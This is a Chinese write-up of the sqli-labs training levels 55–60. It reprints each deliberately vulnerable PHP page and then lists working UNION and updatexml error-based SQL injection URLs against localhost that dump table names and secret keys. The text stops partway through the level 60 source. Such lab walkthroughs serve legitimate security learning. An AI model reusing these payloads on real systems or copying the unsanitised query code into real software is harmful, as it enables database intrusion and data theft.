sqli-labs-Less 55 -> 60

  1. 前言
  2. sqli-labs Less 55 -> 66

前言


今天下午上学,蛋疼啊趁机从sqli-labs Less 55玩到了60关

sqli-labs Less 55 -> 66


55关
先看代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-55:Challenge-2</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 14;

$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.

            if($tryyy >=($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                echo "<br>\n";
                header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
            }    



            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo 'Your Password:' .$row['password'];
                echo "</font>";

            }
            else 
            {
                echo '<font color= "#FFFF00">';
//                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-55.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求还是和之前一样,在指定的次数内完成注入,只是查询语句的闭合方式不同,根据代码所给出的payload

http://127.0.0.1/sqli-labs-master/Less-55/?id=0)%20union%20select%201,2,3%20--+
http://127.0.0.1/sqli-labs-master/Less-55/?id=0)%20union%20select%201,database(),3%20--+
http://127.0.0.1/sqli-labs-master/Less-55/?id=0)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%22challenges%22%20--+
http://127.0.0.1/sqli-labs-master/Less-55/?id=0)%20union%20select%201,(select%20`3`%20from%20(select%201,2,3,4%20union%20select%20*%20from%20wn0dwpqz7m)a%20limit%201,1),3%20--+

这里我用了刚刚学到的在不知道列名的情况下进行注入的方法快速获得结果就不用跑列名那么麻烦了
ksviJ1.png

56关
代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-56:Challenge-3</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 14;

$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.

            if($tryyy >=($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    



            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo 'Your Password:' .$row['password'];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
//                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-56.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求还是没变,要求在指定次数内注入出key,只是查询语句的闭合方式变了,其他不变,,根据代码给出的payload

http://127.0.0.1/sqli-labs-master/Less-56/index.php?id=0%27)%20union%20select%201,2,3%20--+
http://127.0.0.1/sqli-labs-master/Less-56/index.php?id=0%27)%20union%20select%201,database(),3%20--+
http://127.0.0.1/sqli-labs-master/Less-56/index.php?id=0%27)%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%22challenges%22%20--+
http://127.0.0.1/sqli-labs-master/Less-56/index.php?id=0%27)%20union%20select%201,(select%20`3`%20from%20(select%201,2,3,4%20union%20select%20*%20from%20xtdqbkon6c)a%20limit%201,1),3%20--+

ksv0Wq.md.png

57关
代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-57:Challenge-4</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 14;

$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.

            if($tryyy >=($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    


            $id= '"'.$id.'"';
            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo 'Your Password:' .$row['password'];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
//                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-57.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求还是没变,在指定的次数获取key,根据代码给出payload,这个作者在把$id带入sql查询之前偷偷加了个”,滴滴,抓起来锤
ksvb0e.png

http://127.0.0.1/sqli-labs-master/Less-57/index.php?id=0%22%20union%20select%201,2,3%20--+
http://127.0.0.1/sqli-labs-master/Less-57/index.php?id=0%22%20union%20select%201,database(),3%20--+
http://127.0.0.1/sqli-labs-master/Less-57/index.php?id=0%22%20union%20select%201,table_name,3%20from%20information_schema.tables%20where%20table_schema=%22challenges%22%20--+
http://127.0.0.1/sqli-labs-master/Less-57/index.php?id=0%22%20union%20select%201,(select%20`3`%20from%20(select%201,2,3,4%20union%20select%20*%20from%205tblzh9088)a%20limit%201,1),3%20--+

ksvxpt.md.png

58关
代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-58:Challenge-5</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 5;
$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.
            if($tryyy >= ($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    



            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                $pass = array_reverse($unames);
                echo 'Your Login name : '. $unames[$row['id']];
                echo "<br>";
                echo 'Your Password : ' .$pass[$row['id']];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-58.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求如是循环,这里不在重复,只是次数减少成了5次,无法正常回显结果,但是代码输出了mysql报错可以用报错注入根据代码给出payload

http://127.0.0.1/sqli-labs-master/Less-58/index.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20--+
http://127.0.0.1/sqli-labs-master/Less-58/index.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%22challenges%22),0x7e),1)%20--+
http://127.0.0.1/sqli-labs-master/Less-58/index.php?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20`2`%20from%20(select%201,2,3,4%20union%20select%20*%20from%20zejpphddnv)a%20limit%201,1),0x7e),1)%20--+

ksz0MV.png

59关
代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-59:Challenge-6</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 5;
$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.
            if($tryyy >= ($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    



            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                $pass = array_reverse($unames);
                echo 'Your Login name : '. $unames[$row['id']];
                echo "<br>";
                echo 'Your Password : ' .$pass[$row['id']];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
            echo "Please input the ID as parameter with numeric value as done in  Lab excercises\n<br><br>\n</font>";
            echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
            echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
        }

    }


?>
</font> </div></br></br></br><center>
<img src="../images/Less-59.jpg" />
</center>
<br><br><br>
<div  style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form> 
</div>


<?php

}

else
{
    echo '<div  style=" color:#00FFFF; font-size:18px; text-align:center">';
    $key = addslashes($_POST['key']);
    $key = mysql_real_escape_string($key);
    //echo $key;
    //Query table to verify your result
    $sql="SELECT 1 FROM $table WHERE $col1= '$key'";
    //echo "$sql";
    $result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

    $row = mysql_fetch_array($result);

    if($row)
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/Less-54-1.jpg" />';
        echo "</font>"; 
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );    
    }
    else 
    {
        echo '<font color= "#FFFF00">';
        echo "\n<br><br><br>";
        echo '<img src="../images/slap1.jpg" />';
        header( "refresh:3;url=index.php" );
        //print_r(mysql_error());
        echo "</font>";  
            }    


}

?>

</body>
</html>

要求如是循环非我不可,这次可尝试注入的次数为6次,根据代码给出payload

http://127.0.0.1/sqli-labs-master/Less-59/?id=1%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)
http://127.0.0.1/sqli-labs-master/Less-59/?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%22challenges%22),0x7e),1)

mysql> select from n7geazs8vw where id=1 and updatexml(1,concat(0x7e,(select 3 from (select 1,2,3,4 union select from n7geazs8vw)a limit 1,1),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: ‘~hjYL3TyRcHgWxt35BVu4srby~’

60关
代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-60:Challenge-7</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input  type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">



<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 5;
$table = table_name();
$col = column_name(1);     // session id column name
$col1 = column_name(2);   //secret key column name


// Submitting the final answer
if(!isset($_POST['answer_key']))
{
    // resetting the challenge and repopulating the table .
    if(isset($_POST['reset']))
    {
        setcookie('challenge', ' ', time() - 3600000);
        echo "<font size=4>You have reset the Challenge</font><br>\n";
        echo "Redirecting you to main challenge page..........\n";
        header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
        //echo "cookie expired";

    }
    else
    {
        // Checking the cookie on the page and populate the table with random value.
        if(isset($_COOKIE['challenge']))
        {
            $sessid=$_COOKIE['challenge'];
            //echo "Cookie value: ".$sessid;
        }
        else
        {
            $expire = time()+60*60*24*30;
            $hash = data($table,$col);
            setcookie("challenge", $hash, $expire);

        }

        echo "<br>\n";

        // take the variables
        if(isset($_GET['id']))
        {
            $id=$_GET['id'];

            //logging the connection parameters to a file for analysis.
            $fp=fopen('result.txt','a');
            fwrite($fp,'ID:'.$id."\n");
            fclose($fp);


            //update the counter in database
            next_tryy();

            //Display attempts on screen.
            $tryyy = view_attempts();
            echo "You have made : ". $tryyy ." of $times attempts";
            echo "<br><br><br>\n";


            //Reset the Database if you exceed allowed attempts.
            if($tryyy >= ($times+1))
            {
                setcookie('challenge', ' ', time() - 3600000);
                echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
                echo "Redirecting you to challenge page..........\n";
                header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
                echo "<br>\n";
            }    


            $id = '("'.$id.'")';
            // Querry DB to get the correct output
            $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
            $result=mysql_query($sql);
            $row = mysql_fetch_array($result);

            if($row)
            {
                echo '<font color= "#00FFFF">';    
                $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
                $pass = array_reverse($unames);
                echo 'Your Login name : '. $unames[$row['id']];
                echo "<br>";
                echo 'Your Password : ' .$pass[$row['id']];
                echo "</font>";
            }
            else 
            {
                echo '<font color= "#FFFF00">';
                print_r(mysql_error());
                echo "</font>";  
            }
        }
        else
        {
